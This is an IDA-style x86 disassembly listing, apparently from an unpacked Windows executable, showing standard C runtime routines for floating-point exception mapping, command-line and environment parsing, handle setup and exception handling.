		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------

loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4DB350
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DB350, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_43C940
		mov	edx, dword_43C944
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43C8D0h[esi*4]

loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65

loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_43C94C
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43C94C, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422D89:				; CODE XREF: ___:00422D7Bj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43C94C, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43C94C, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43C94C, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43C94C, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43C94C, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43C94C, 8Ah

loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_43C94C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43C94C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------

loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx

loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4DB350, eax

loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------

loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 26400D8h

loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C948
		cmp	dword_43C8C8, edx
		push	esi
		mov	eax, offset dword_43C8C8
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8C8h[esi*4]

loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51

loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8C8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71

loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DC914, 0
		jnz	short loc_422E80
		call	sub_42026D

loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4DC90C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2

loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------

loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC

loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------

loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC

loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6

loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF

loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC914, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D

loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4DB2E8
		xor	edi, edi

loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi

loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------

loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB2A0, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx

loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4DB2E8
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp

loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx

loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx

loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp

loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4DB2E8
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB2E8, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DC910, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC914, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D

loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	near ptr 2680000h
		nop
		mov	eax, dword_4DC90C
		mov	off_4DB2B0, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax

loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx

loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB298, esi
		pop	edi
		pop	esi
		mov	dword_4DB294, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F

loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DC7E1[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax

loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------

loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi

loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------

loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi

loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DC7E1[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi

loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax

loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F

loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA

loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------

loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0

loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0

loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF

loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE

loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------

loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]

loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx

loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------

loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------

loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi

loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx

loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1

loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx

loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi

loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153

loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0

loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DC7E1[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]

loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------

loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DC7E1[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]

loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]

loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------

loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi

loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------

loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0

loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DB458
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DB458, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------

loc_4231FF:				; CODE XREF: ___:004231F1j
		nop
		call	near ptr 2630C68h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DB458, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------

loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8

loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9

loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C

loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E

loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx

loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]

loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		nop
		call	near ptr 2630F5Fh
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------

loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9

loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		call	near ptr 2630C68h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9

loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD

loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3

loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------

loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch

loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		nop
		call	near ptr 2640000h
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------

loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax

loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx

loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4DC5C0, esi
		mov	dword_4DC6C0, 20h
		lea	eax, [esi+100h]

loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DC5C0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------

loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 2880000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax

loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4DC6C0, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DC5C4

loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DC6C0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]

loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------

loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4DC6C0, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------

loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4DC6C0

loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432

loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		call	near ptr 26302A7h
		nop
		test	eax, eax
		jz	short loc_423429

loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl

loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC

loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx

loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4DC5C0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------

loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h

loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		nop
		call	near ptr 2630A17h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		nop
		call	near ptr 26302A7h
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484

loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------

loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------

loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h

loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DC6C0
		nop
		call	near ptr 2630BF2h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]

loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------

loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------

loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------

loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1

loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4DB2F0
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A2C4, 1
		jnz	short locret_4235C8

loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DB45C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax

loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43C958

loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43C9E8
		jl	short loc_4235DC

loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43C958[esi]
		jnz	loc_423719
